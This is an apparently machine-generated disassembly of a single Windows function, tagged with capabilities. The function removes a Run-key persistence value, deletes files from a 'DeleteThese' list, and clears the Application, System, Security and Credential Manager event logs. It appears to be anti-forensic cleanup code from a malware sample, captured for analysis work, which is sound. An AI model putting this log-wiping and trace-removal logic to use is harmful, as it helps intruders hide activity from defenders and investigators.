Function at 0x401770
Capabilities:
Check if file exists
Delete file
Delete registry value
Get file attributes
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5315e6
mov eax, dword fs:[0]
push eax
sub esp, 0x114
mov eax, dword [0x58e3d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
call fcn.00407a71
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x4017bd
push 0x80004005
call fcn.00401700
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x11c], eax
mov dword [ebp - 4], 0
call fcn.00407a71
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x4017f0
push 0x80004005
call fcn.00401700
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x118], esi
push str.DEBUG2_:_CleanUpTime___n_n
push 0x58f8d8
mov byte [ebp - 4], 1
call fcn.00402410
push 0x58f8d8
call fcn.00405820
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40185f
push 0x542580
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0x5421dc
lea ecx, [ebp - 0x11c]
call fcn.00405390
push 0xb
push str.DeleteThese
lea ecx, [ebp - 0x11c]
call fcn.004015a0
push 1
push 0x5421d8
lea ecx, [ebp - 0x11c]
call fcn.004015a0
push 0x5421e0
push dword [edi]
call fcn.00516912
mov edi, dword [ebp - 0x11c]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x4018c0
xor ebx, ebx
jmp 0x401adf
push ebx
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.0051670f
add esp, 0xc
test eax, eax
je 0x401a63
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018e6
sub eax, edx
push eax
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x118]
call fcn.00405390
lea eax, [ebp - 0x118]
push eax
call fcn.00404cc0
xor eax, eax
add esp, 4
test edi, edi
setne al
test eax, eax
je 0x4017b3
mov esi, dword [ebp - 0x118]
push edi
push esi
call fcn.0051617f
add esp, 8
test eax, eax
jne 0x4018c0
push ebx
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.0051670f
add esp, 0xc
test eax, eax
je 0x401a63
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401960
sub ecx, edx
push ecx
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x118]
call fcn.00405390
lea eax, [ebp - 0x118]
push eax
call fcn.00404cc0
mov esi, dword [ebp - 0x118]
add esp, 4
mov ecx, dword [esi - 0xc]
test ecx, ecx
js 0x401a59
mov al, byte [esi]
cmp al, 0x5b
je 0x401a63
test ecx, ecx
je 0x401934
js 0x401a59
cmp al, 0x3b
je 0x401934
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401a14
test al, 0x10
je 0x4019fc
lea eax, [ebp - 0x118]
push eax
call fcn.00404d00
add esp, 4
test eax, eax
je 0x4019e2
mov esi, dword [ebp - 0x118]
jmp 0x401934
lea eax, [ebp - 0x118]
push eax
call fcn.00401480
mov esi, dword [ebp - 0x118]
add esp, 4
jmp 0x401934
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x401934
cmp dword [esi - 0xc], 0
jl 0x401934
push 0x542594
push esi
call fcn.00516378
add esp, 8
test eax, eax
je 0x401934
sub eax, esi
cmp eax, 0xffffffff
je 0x401934
lea eax, [ebp - 0x118]
push eax
call fcn.00404ef0
mov esi, dword [ebp - 0x118]
add esp, 4
jmp 0x401934
push 0x80070057
call fcn.00401700
push ebx
call fcn.00516698
push str.DEBUG2_:_Start_:_Cleanup_Event_Log_n_n
push 0x58f8d8
call fcn.00402410
push 0x58f8d8
call fcn.00405820
push str.C:SYSTEM.SAVUTILApp.Evt
push str.Application
call fcn.00401760
push str.C:SYSTEM.SAVUTILSys.Evt
push str.System
call fcn.00401760
push str.C:SYSTEM.SAVUTILSec.Evt
push str.Security
call fcn.00401760
push str.C:SYSTEM.SAVUTILCMa.Evt
push str.Credential_Manager
call fcn.00401760
push str.DEBUG2_:_End_:_Cleanup_Event_Log_n_n
push 0x58f8d8
call fcn.00402410
push 0x58f8d8
call fcn.00405820
add esp, 0x3c
mov ebx, 1
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov byte [ebp - 4], 0
lea ecx, [edx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x401aff
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [edi + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x401b1d
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00517448
mov esp, ebp
pop ebp
ret